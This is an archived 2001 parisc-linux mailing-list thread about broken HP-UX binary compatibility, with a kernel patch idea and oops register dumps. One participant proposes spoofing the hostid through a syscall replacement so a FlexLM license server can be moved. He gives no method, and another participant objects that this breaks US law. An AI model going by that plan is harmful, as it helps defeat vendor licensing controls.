        mod->next = mod_tmp.next;
        mod->refs = NULL;
 
I suspect the right fix would be to change:

#define flush_icache_range flush_kernel_icache_range_asm

to:

static inline void flush_icache_range(unsigned long start, unsigned long end)
{
	flush_kernel_icache_range_asm(start, end);
	flush_kernel_dcache_range_asm(start, end);
}

Comments?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nathan Neulinger <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
Date: Mon, 01 Oct 2001 07:47:45 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <3BB865F1.54046DFC@umr.edu>
References: <3BB4B4DE.8080608@umr.edu> <20011001051903.B28828@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620546 26768 80.91.229.3 (22 Nov 2014 01:42:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 06:47:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx.rollanet.org (mailsrv.rollanet.org [192.55.114.7])
	by dsl2.external.hp.com (Postfix) with SMTP id 96D9348C7
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 06:47:47 -0600 (MDT)
Original-Received: (qmail 23914 invoked from network); 1 Oct 2001 12:47:45 -0000
Original-Received: from cessna.rollanet.org (HELO umr.edu) (nneul@216.229.93.21)
  by mx.rollanet.org with SMTP; 1 Oct 2001 12:47:45 -0000
Original-Sender: nneul@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.10-pre15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12395

Matthew Wilcox wrote:
> 
> On Fri, Sep 28, 2001 at 12:35:26PM -0500, Nathan Neulinger wrote:
> > My main question though - what's the status of hpux binary support? The
> > FAQ seems to indicate that some parisc binaries are already functional.
> >
> > What is necessary to be done on the machine before I can run an HP
> > executable?
> 
> It might work, but it's probably bitrotten since nobody's tried it in
> over a year.

Yuck... That'd be most unfortunate since that is the primary reason I'm
looking at parisc-linux at the moment.

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216




From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Status of hp-ux binary compatibility?
Date: Mon, 1 Oct 2001 08:17:26 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F7@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620547 26773 80.91.229.3 (22 Nov 2014 01:42:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Matthew Wilcox'" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 07:18:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BA8D4895
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 07:18:49 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id IAA03210; Mon, 1 Oct 2001 08:17:57 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHC2QG>; Mon, 1 Oct 2001 08:17:57 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12396

I just built and upgrade to 2.4.9-pa27 and with it, as well as the 2.4.0
base install, I get nothing but segmentation faults whenever trying to
execute any HP-UX executable.

-- Nathan

> -----Original Message-----
> From: Matthew Wilcox [mailto:willy@debian.org]
> Sent: Sunday, September 30, 2001 11:19 PM
> To: Nathan Neulinger
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
> 
> 
> On Fri, Sep 28, 2001 at 12:35:26PM -0500, Nathan Neulinger wrote:
> > My main question though - what's the status of hpux binary 
> support? The 
> > FAQ seems to indicate that some parisc binaries are already 
> functional.
> > 
> > What is necessary to be done on the machine before I can run an HP 
> > executable?
> 
> It might work, but it's probably bitrotten since nobody's tried it in
> over a year.
> 
> -- 
> Revolutions do not require corporate support.
> 




From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
Date: Mon, 1 Oct 2001 14:25:49 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011001142549.E28828@parcelfarce.linux.theplanet.co.uk>
References: <3BB4B4DE.8080608@umr.edu> <20011001051903.B28828@parcelfarce.linux.theplanet.co.uk> <3BB865F1.54046DFC@umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620547 26781 80.91.229.3 (22 Nov 2014 01:42:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:27 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Nathan Neulinger <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 07:25:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 440334895
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 07:25:51 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15o34v-0000Fh-00; Mon, 01 Oct 2001 14:25:49 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BB865F1.54046DFC@umr.edu>; from nneul@umr.edu on Mon, Oct 01, 2001 at 07:47:45AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12397

On Mon, Oct 01, 2001 at 07:47:45AM -0500, Nathan Neulinger wrote:
> Yuck... That'd be most unfortunate since that is the primary reason I'm
> looking at parisc-linux at the moment.

what application specifically are you looking at running?  We only ever
implemented a few of the hundreds of hpux syscalls.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Status of hp-ux binary compatibility?
Date: Mon, 1 Oct 2001 08:31:07 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F8@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620547 26786 80.91.229.3 (22 Nov 2014 01:42:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Matthew Wilcox'" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 07:32:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A8A64895
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 07:32:48 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id IAA07347; Mon, 1 Oct 2001 08:31:38 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHC20T>; Mon, 1 Oct 2001 08:31:38 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12398

In particular - flexlm. 

We have a ton of licensed products served off an old 715, and relicensing
them to move the license server will be a nightmare. What I'd like to do is
run the lmgrd+vendor-daemon on a parisc-linux box and modload a syscall
replacement that lies about the hostid to this process.

But for testing, I've just tried very simple programs - cal, yes, echo, and
a staticly linked hello world. All of them segfault right after execution. 

As far as I know, the only system calls out of the ordinary the flexlm stuff
should use are file locking and perhaps some of the ioctl stuff for getting
interface address, but I figured on tracing to find out exactly what it's
doing. 

-- Nathan

> -----Original Message-----
> From: Matthew Wilcox [mailto:willy@debian.org]
> Sent: Monday, October 01, 2001 8:26 AM
> To: Nathan Neulinger
> Cc: Matthew Wilcox; parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
> 
> 
> On Mon, Oct 01, 2001 at 07:47:45AM -0500, Nathan Neulinger wrote:
> > Yuck... That'd be most unfortunate since that is the 
> primary reason I'm
> > looking at parisc-linux at the moment.
> 
> what application specifically are you looking at running?  We 
> only ever
> implemented a few of the hundreds of hpux syscalls.
> 
> -- 
> Revolutions do not require corporate support.
> 




From - Thu Nov 08 21:19:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Status of hp-ux binary compatibility?
Date: Mon, 1 Oct 2001 08:35:52 -0500
Lines: 99
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F9@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620548 26787 80.91.229.3 (22 Nov 2014 01:42:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:28 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "'Matthew Wilcox'" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 07:37:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC5264895
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 07:37:16 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id IAA08883; Mon, 1 Oct 2001 08:36:23 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHCJDR>; Mon, 1 Oct 2001 08:36:23 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12399

FYI, here's one of the oops:

do_page_fault() pid=481 command='cal' type=6 address=0xc0000007
vm_start = 0x40001000, vm_end = 0x40002000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111
r0-3     00000000 c0000000 0000274f faf00000
r4-7     00000001 faf001e8 faf00194 00000000
r8-11    faf00280 000aa810 000b8910 000b86f0
r12-15   00000000 ffffffff 000b81b0 00000000
r16-19   00000000 00017800 00017800 4024c57c
r20-23   0000000b 401b071c 00000039 00000000
r24-27   00000000 00000000 faf02290 40001448
r28-31   00000000 00000000 faf02300 0000286f
sr0-3    00000725 00000000 00000000 00000725
sr4-7    00000725 00000725 00000725 00000725

IASQ: 00000725 00000725 IAOQ: c0000007 c000000b
 IIR: e02025b2    ISR: 00000725  IOR: faf0226c
 CPU:        0   CR30: 2734c000 CR31: 10388000
 ORIG_R28: 000b8950

do_page_fault() pid=482 command='echo' type=6 address=0xc0000007
vm_start = 0x40001000, vm_end = 0x40002000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111
r0-3     00000000 c0000000 000024df faf00000
r4-7     00000001 faf001ec faf00198 00000000
r8-11    faf00280 000aa810 000b8910 000b8850
r12-15   00000000 ffffffff 000b8370 00000000
r16-19   00000000 00017800 00017800 4024c57c
r20-23   0000000b 401b071c 00000039 00000000
r24-27   00000000 00000000 faf02290 40001150
r28-31   00000000 00000000 faf02300 000025ff
sr0-3    00000004 00000000 00000000 00000004
sr4-7    00000004 00000004 00000004 00000004

IASQ: 00000004 00000004 IAOQ: c0000007 c000000b
 IIR: e02025b2    ISR: 00000004  IOR: faf0226c
 CPU:        0   CR30: 2734c000 CR31: 10388000
 ORIG_R28: 000b84b0

-- Nathan



> -----Original Message-----
> From: Neulinger, Nathan 
> Sent: Monday, October 01, 2001 8:31 AM
> To: 'Matthew Wilcox'
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: RE: [parisc-linux] Status of hp-ux binary compatibility?
> 
> 
> In particular - flexlm. 
> 
> We have a ton of licensed products served off an old 715, and 
> relicensing them to move the license server will be a 
> nightmare. What I'd like to do is run the lmgrd+vendor-daemon 
> on a parisc-linux box and modload a syscall replacement that 
> lies about the hostid to this process.
> 
> But for testing, I've just tried very simple programs - cal, 
> yes, echo, and a staticly linked hello world. All of them 
> segfault right after execution. 
> 
> As far as I know, the only system calls out of the ordinary 
> the flexlm stuff should use are file locking and perhaps some 
> of the ioctl stuff for getting interface address, but I 
> figured on tracing to find out exactly what it's doing. 
> 
> -- Nathan
> 
> > -----Original Message-----
> > From: Matthew Wilcox [mailto:willy@debian.org]
> > Sent: Monday, October 01, 2001 8:26 AM
> > To: Nathan Neulinger
> > Cc: Matthew Wilcox; parisc-linux@lists.parisc-linux.org
> > Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
> > 
> > 
> > On Mon, Oct 01, 2001 at 07:47:45AM -0500, Nathan Neulinger wrote:
> > > Yuck... That'd be most unfortunate since that is the 
> > primary reason I'm
> > > looking at parisc-linux at the moment.
> > 
> > what application specifically are you looking at running?  We 
> > only ever
> > implemented a few of the hundreds of hpux syscalls.
> > 
> > -- 
> > Revolutions do not require corporate support.
> > 
> 




From - Thu Nov 08 21:19:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
Date: Mon, 1 Oct 2001 14:41:21 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20011001144121.G28828@parcelfarce.linux.theplanet.co.uk>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F8@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620548 26791 80.91.229.3 (22 Nov 2014 01:42:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:28 +0000 (UTC)
Cc: 'Matthew Wilcox' <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 07:41:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 745214895
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 07:41:22 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15o3Jx-0000ex-00; Mon, 01 Oct 2001 14:41:21 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F8@umr-mail03.cc.umr.edu>; from nneul@umr.edu on Mon, Oct 01, 2001 at 08:31:07AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12400

On Mon, Oct 01, 2001 at 08:31:07AM -0500, Neulinger, Nathan wrote:
> But for testing, I've just tried very simple programs - cal, yes, echo, and
> a staticly linked hello world. All of them segfault right after execution. 

It'd be useful to know what address they segfault at.  My current
suspicion is the stack position changes have broken it, but it may be
something completely different.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Status of hp-ux binary compatibility?
Date: Mon, 1 Oct 2001 08:36:28 -0600 (MDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200110011436.IAA14595@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620548 26792 80.91.229.3 (22 Nov 2014 01:42:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: nneul@umr.edu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 08:36:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5EA048AE
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 08:36:32 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP
	id C2A6A1F850; Mon,  1 Oct 2001 10:36:29 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id IAA14595;
	Mon, 1 Oct 2001 08:36:28 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12401

Nathan,

hp-ux compatibility is definitely broken. It probably wouldn't take too
much effort to get it back to where it was before, however the best we
ever did was to run some simple text based programs that were linked
archive (-Wl,-aarchive). We didn't even have shared libraries working.

Just out of curiosity, what type of HP-UX binaries did you want to run?
If it is 3D graphics based, or it uses a bunch of HP-UX proprietary
kernel calls, ioctl's, etc. it isn't likely to work anytime soon ...

John Marvin
jsm@fc.hp.com




From - Thu Nov 08 21:19:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: Status of hp-ux binary compatibility?
Date: Mon, 1 Oct 2001 09:43:16 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7FC@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620549 26794 80.91.229.3 (22 Nov 2014 01:42:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:29 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "'John Marvin'" <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 08:44:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 201614838
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 08:44:13 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id JAA00584; Mon, 1 Oct 2001 09:43:46 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHCLF7>; Mon, 1 Oct 2001 09:43:46 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12402


> -----Original Message-----
> From: John Marvin [mailto:jsm@udlkern.fc.hp.com]
> Sent: Monday, October 01, 2001 9:36 AM
> To: nneul@umr.edu
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: Status of hp-ux binary compatibility?
> 
> 
> Nathan,
> 
> hp-ux compatibility is definitely broken. It probably 
> wouldn't take too
> much effort to get it back to where it was before, however the best we
> ever did was to run some simple text based programs that were linked
> archive (-Wl,-aarchive). We didn't even have shared libraries working.

Would "gcc -static" be sufficient? Oh... no shared libs either? ick. I
suppose that means that anything linked against /usr/lib/libc.1 won't work.
Bummer. 

Y'all might want to clarify the FAQ, cause it sure hints at a different
story about what the status is. 

> Just out of curiosity, what type of HP-UX binaries did you 
> want to run?
> If it is 3D graphics based, or it uses a bunch of HP-UX proprietary
> kernel calls, ioctl's, etc. it isn't likely to work anytime soon ...

I sent this in another note, but I'm wanting to get flexlm running.

>From what you're saying above, sounds like it might be less work to
relicense, even though that's a pain in the butt. 

-- Nathan




From - Thu Nov 08 21:19:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
Date: Mon, 1 Oct 2001 16:33:36 +0100 (BST)
Lines: 10
Approved: news@gmane.org
Message-ID: <E15o54a-0001dt-00@the-village.bc.nu>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F8@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620549 26797 80.91.229.3 (22 Nov 2014 01:42:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:29 +0000 (UTC)
Cc: willy@debian.org ('Matthew Wilcox'),
	parisc-linux@lists.parisc-linux.org
To: nneul@umr.edu (Neulinger, Nathan)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 09:30:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C85148A6
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 09:30:59 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 15o54a-0001dt-00; Mon, 01 Oct 2001 16:33:36 +0100
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F8@umr-mail03.cc.umr.edu> from "Neulinger, Nathan" at Oct 01, 2001 08:31:07 AM
X-Mailer: ELM [version 2.5 PL6]
Xref: news.gmane.org gmane.linux.ports.parisc:12403

> them to move the license server will be a nightmare. What I'd like to do is
> run the lmgrd+vendor-daemon on a parisc-linux box and modload a syscall
> replacement that lies about the hostid to this process.

Thats now a criminal offence in the USA. You are circumventing digital
rights management. The DMCA has no exclusion for actually having the rights
to do so, or exemption swhen you have the license




From - Thu Nov 08 21:19:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Status of hp-ux binary compatibility?
Date: Mon, 1 Oct 2001 10:30:40 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7FE@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620549 26800 80.91.229.3 (22 Nov 2014 01:42:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:29 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org
To: "'Alan Cox'" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  1 09:32:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A21848A6
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Oct 2001 09:32:41 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id KAA13323; Mon, 1 Oct 2001 10:31:11 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHCMR4>; Mon, 1 Oct 2001 10:31:11 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12404

When you get down to it, so is making any change to how the software is
installed. I can't even remember the last time we installed a package on
unix the way the vendor insisted it be installed. 

-- Nathan

> -----Original Message-----
> From: Alan Cox [mailto:alan@lxorguk.ukuu.org.uk]
> Sent: Monday, October 01, 2001 10:34 AM
> To: nneul@umr.edu
> Cc: willy@debian.org; parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
> 
> 
> > them to move the license server will be a nightmare. What 
> I'd like to do is
> > run the lmgrd+vendor-daemon on a parisc-linux box and 
> modload a syscall
> > replacement that lies about the hostid to this process.
> 
> Thats now a criminal offence in the USA. You are circumventing digital
> rights management. The DMCA has no exclusion for actually 
> having the rights
> to do so, or exemption swhen you have the license
> 




From - Thu Nov 08 21:19:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of hp-ux binary compatibility?
Date: Mon, 1 Oct 2001 16:33:53 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20011001163353.K28828@parcelfarce.linux.theplanet.co.uk>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D7F9@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620549 26803 80.91.229.3 (22 Nov 2014 01:42:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:29 +0000 (UTC)
Cc: 'Matthew Wilcox' <willy@debian.org>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Neulinger, Nathan" <nneul@umr.edu>
